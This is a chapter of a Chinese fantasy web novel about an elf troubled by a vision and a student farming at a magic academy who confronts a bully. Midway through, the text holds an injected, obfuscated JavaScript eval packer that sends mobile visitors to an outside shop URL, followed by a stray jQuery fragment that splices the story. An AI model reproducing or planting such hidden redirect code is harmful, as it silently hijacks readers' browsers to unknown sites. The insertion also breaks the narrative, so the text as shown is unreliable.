兰德快步在林间树梢上飞跃,林木枝叶有意识般的让出一条路,不伤到情绪激动的精灵。
兰德用力闭了闭眼,想要将脑海里看到的画面驱除。
却毫无作用。
那极其骇人听闻的不洁画面,像是攀附在岩石上的潮湿青苔,同他的思想黏腻密不可分。
他眼前还能清晰看见女孩散开的裙摆。
绿草地上光洁的小腿微蜷着,被男人的手掌攥住。
那张属于自己的脸露出难以想象的邪恶表情,如同将渴死的人汲取水源般的作弄她。
兰德无法形容他看到那一幕时的巨大冲击和绝望,简直是噩梦。
神啊。
即便是在禁欲的修道士之间,精灵的纯洁也是一等一的。
他甚至从不和人类说话。
兰德无法相信,更无法想象那是他做出的事情。
他绝不可能……那样对一个人类。
不。
他绝不可能那样对任何一个生物。
太惊悚了。
他必须要彻底断绝那可怕未来的发生。
树梢间灵巧如风的精灵,抬手挥出一道绿光。
本就隐蔽如桃花源的领地彻底封闭,别说人类,就连最强大的神眷者都不可能踏入他的森林。
.
束香高高兴兴地领取了五箱苗株。
资源管理处的值班老师很好说话,虽然看起来像是通宵工作般疲惫,但还是应她的请求,给她分了些水果苗。
五箱苗太重了,束香只能先搬走两箱,坐校车抵达分给她的试验田。
下车时海风拂面,这片试验田占地广阔,被严格地划分成一块块方正的独立田。
远远望去,靠近海边的土地颜色深了些,束香分到的田地正好在最边上,离海岸不远。
束香抱着两箱苗,饱含雄心壮志下地。
苗株落地,溅起些许泥土。
束香这才发现,不远处属于她的试验田边缘,正整齐放着三箱苗。
“嗯?”
束香好奇走过去,是谁的苗株不小心放错地方了吗?
她弯腰仔细查看箱子上的学号和姓名,上面赫然写着:灵植院一年新生,束香。
“这是怎么回事呀?”
束香赶紧打电话和值班老师确认,老师说这就是她留在管理处的苗,学院体恤学生搬运辛苦,所以帮助了她。
束香道谢后挂断电话,举目四望。
不少勤奋的同学正在往自家试验田里搬苗株,累得满头大汗,到处都是老黄牛般的喘气声。
而且她是坐校车来的,剩下三箱苗居然比她来得还快。
总感觉不太对劲呢。
束香很快将它抛到脑后,苗已到位,接下来就是重要的栽种时间啦。
她去试验田外的仓库,凭借灵植院学生证领取一套耕种工具,费力地搬回来。
一大堆锄头镰刀耙子铁锹……叮叮当当落在地上,分量颇为沉重。
这些工具通身银白色,浑然一体,全部由某种不知名金属铸造。
束香掂了掂锄头的分量,再看看五十平米的田地,翻完一整片地也是不小的运动量啊。
正胡思乱想间,左手边的方块田来人了。
是一个力气很大的女孩,一个人稳稳抱着五箱苗株,摞得连她的脸都挡住了。
箱子落地时,束香这才发现,女孩个头不高,脸蛋圆圆,戴着一副猫眼墨镜。
想着以后都是邻居,束香热情地同她打招呼:“你好呀同学,我叫束香。”
女孩没摘墨镜,点了下头说:“颜舒,你好。”
说完转过身,弯腰扒拉箱子里苗株,用屁股对着束香。
好吧,看来是位高冷的同学。
束香蹲下来,用苗箱里的仪器检测了下土壤数值,碱性较强,含盐量稍高,还有轻微的板结症状,但都在可控范围内。
一年生的试验田都经过前期处理,分发下来的苗株也是耐活改良株。
只要按照课件步骤来,不愁养不活苗。
束香收好仪器,整理苗株,前四箱都是较好活的蔬菜和草药,最后一箱是较为脆弱的果苗。
束香准备先种果苗,细细查看点数时,她忽然“咦”了一声,扶起一株快要枯死的草苗。
“这是什么苗?”
根茎细长,叶片弯弯,两端尖尖像镰刀,病歪歪地趴在土上,似乎没救了。
五箱苗里只有一株这样的苗,昨天的课件里也没有讲到它。
束香小心翼翼地把它铲起来,移植到她的田地中,单独给它浇了点营养剂,希望这棵未知的小草能活过来。
移植苗株的第一步是翻土,只需要轻轻地翻动土地即可,应该不难。
束香记好动作要领,掂起颇有分量的锄头,活力满满地翻地。
五分钟后,束香放下锄头,擦了擦头上的汗。
锄头太重,而翻地的动作需要巧劲,像是举重绣花,颇费力气。
束香鼓励自己接着干,半个小时后,她放下锄头,抬起汗涔涔的脸,发现她才锄了不到四分之一。
再看看天上渐高的日头,翻完土还要栽苗,恐怕今天一整天都要耗费在这里。
束香抹汗,不经意转头一看,吓一大跳。
只见隔壁土地全部翻好,整整齐齐,颜舒正蹲在地上,背对着太阳欻欻栽苗。
“你也太厉害了吧。”束香忍不住惊叹。
颜舒转头看向束香,又看看束香的地,沉默了两秒。
束香不好意思地笑笑:“我有点慢哦。”
颜舒戴着墨镜,看不出表情地问她:“要帮忙吗?你可以雇佣舒舒。”
“……舒舒?”
束香重复,高冷的女孩用叠词称呼自己,有点萌呢。
“谢谢,暂时不用啦,我再努力努力。”
颜舒点点头,不再说什么。
正这时,一群灵植院的学生路过,皮强一眼看见颜舒翻好的地,夸张地说:“呦,这么快翻完土了,小老鼠?”
正要离开的束香听到这话,一下子站直了。
被同学嘲讽,颜舒也没什么反应,只说了句:“我不是老鼠。”
皮强边和同学打闹,边嘻嘻哈哈地说:“我知道你不是老鼠,是鼹鼠,对不对?”
一群人爆发出笑声,故意学鼹鼠挖洞的样子。
颜舒不说话了,默默地插苗。
用人家名字谐音起外号,这不是霸凌吗?
束香义愤填膺,瞪圆眼睛大声说:“你才是鼹鼠!”
骤然被骂的皮强跳起来:“谁在说话?”
他环视一圈,这才发现束香就站在不远处,他刚才居然没看见她。
看到束香,他就想起上节课他被扣十九分,束香却一分没扣。
他没好气地说:“你神经病啊?我和她说话有你什么事?”
束香捏紧拳头,大步朝他走过去,气势汹汹。
皮强跳着往后退一步:“干什么?想打架啊?”
“不可以欺负同学!”束香凶巴巴地说。
皮强不服气地争辩:“谁欺负同学了?我和她聊天呢。”
“还敢狡辩,我要把这件事告诉希弗尔学长,让他把你剩下的一分也扣掉!”束香狐假虎威。
皮强不说话了,开始抓耳挠腮。
束香:“去和颜舒道歉,然后离开这里,不然我就告诉希弗尔学长。”
皮强踌躇了会,走到颜舒面前说:“对不起。”
颜舒点了下头。
束香叉着腰,对剩下那群人说:“你们也要道歉,不然我就让希弗尔学长扣你们的分!”
希弗尔虽然只上了一节课,但皮强的十九分杀鸡儆猴,效果显著,大家都不想犯他的霉头。
一群人稀稀拉拉,此起彼伏地对颜舒说:“对不起。”
颜舒又点了下头,还是什么都没说。
束香大手一挥:“这才对嘛,好了,你们快走吧。”
一群人推推搡搡地离开,田里安静下来,束香问:“舒舒,你心情有没有变好一点?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17888264|212648||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
颜舒的墨镜和束香无声对视片刻,她说:“谢谢你。”
劳动一上午,束香头发有些乱,笑容灿烂。
“不客气,”束香捏着拳头,义正辞严,“是他们太可恶了,他们才是见不得光的鼹鼠呢!”
颜舒嘴角抽动了下,最终还是没说什么。
她接着低头插苗,动作飞快,看得束香眼花缭乱。
颜舒同学太强大了,束香被鼓舞到:“你真厉害,我要向你看齐。”
她回去接着努力翻地,挥汗如雨,直到日上三竿才放下锄头,肚子饿得咕咕直叫。
回头一看,翻了二分之一。
而颜舒地里苗都插好了,人早就不知道去哪了。
人跟人真是不能比啊。
束香长叹一口气,忽然第六感上线,她猛一回头,身后空无一人,只有一排树木摇动。
不知怎的,总感觉好像有什么在看她。
是错觉吧,她这迷之存在感,不会被人蹲守的。
束香安慰完自己,拖着酸痛的身体,准备去吃饭,却发现不远处,有人支起小摊在吆喝。
“十元盒饭,吃了猛耕十里地!”
束香买了盒饭,十里地就不指望了,能节省来往通勤时间就很好了。
路边不止有盒饭小摊,还有零食饮料,好用的种地小工具,甚至还有躺椅……
束香边吃盒饭边听他们聊天,原来他们都是灵植院的高年生,特地来赚一年生的钱。
据说,一年生的艰苦条件是入门必修课,只有完美交出作业的学生才能升上二年级。
随着年级升高,学生会拥有室内试验田,和更现代化的耕种机器。
学习真是一场苦修啊。
束香吃完饭,顺带买了个躺椅回去。
虽然苦修,但作为一个脆皮学生,她需要适当的休息。
她现在浑身乏力,刚才捏着筷子的手一直在抖,差点抖掉那块最大的肉,必须要小睡一下补充能量。
束香拖着躺椅回去,支在树荫下,迫不及待地躺上去。
“舒服~”
她歇了会,反手从书包里摸出实验本,记录进度和感想,写完就来到了笔记环节。
‘隔壁试验田的女同学叫颜舒,戴墨镜,种田超厉害。’
‘不知道是谁帮我搬来了三箱苗株。’
‘昨天晚上梦见了一只超级大的狼,很通人性。’
‘昨天晚上在梦里亲了希弗尔……’
束香写到这里停下,看向头顶被阳光照得透亮的树叶。
视野里树叶暗色模糊,但她知道那应该是绿色的。
她以前也会做梦,但梦里的世界和梦外的世界一样,暗淡无色,内容也毫无逻辑。
来到神岛学院之后,她的梦像是进化了,色彩触感极其丰富。
在梦里她能控制自己的行为和语言,但情感冲动似乎也更强烈,容易做出不理智的事情。
就像那个吻。
泽斐拉曾问过她的名字,想在现实中找到她。这是不是说明,梦里的他们不是虚幻的,而是现实的投影,甚至于他们和她一样清醒自控?
这个猜测让束香头皮发麻。
她对希弗尔说那些羞辱的话,还吻他,或者说是强吻,太过火了。
如果那真是现实中的希弗尔,他一定会把她的学分扣光。
束香苦恼地抓了下头发。
拖着这样一副身体,她积极地生活,交朋友学习锻炼身体,她可以做到这些,但不代表她心里毫无阴霾。
如同太阳之与影子,万物都会有暗面。
有时候,她也会有一点坏。
思绪浮沉,束香慢慢闭上了眼睛。
“嘶——”
束香意识刚刚冒头,就忍不住发出一声痛呼。
梦里身体迟钝的感知恢复,她本来还能忍受的疼痛,瞬间袭卷全身。
每一处酸痛不堪,连抬起一根手指都显得费力。
“你很疼吗?”
一道年轻低沉的陌生声音响起。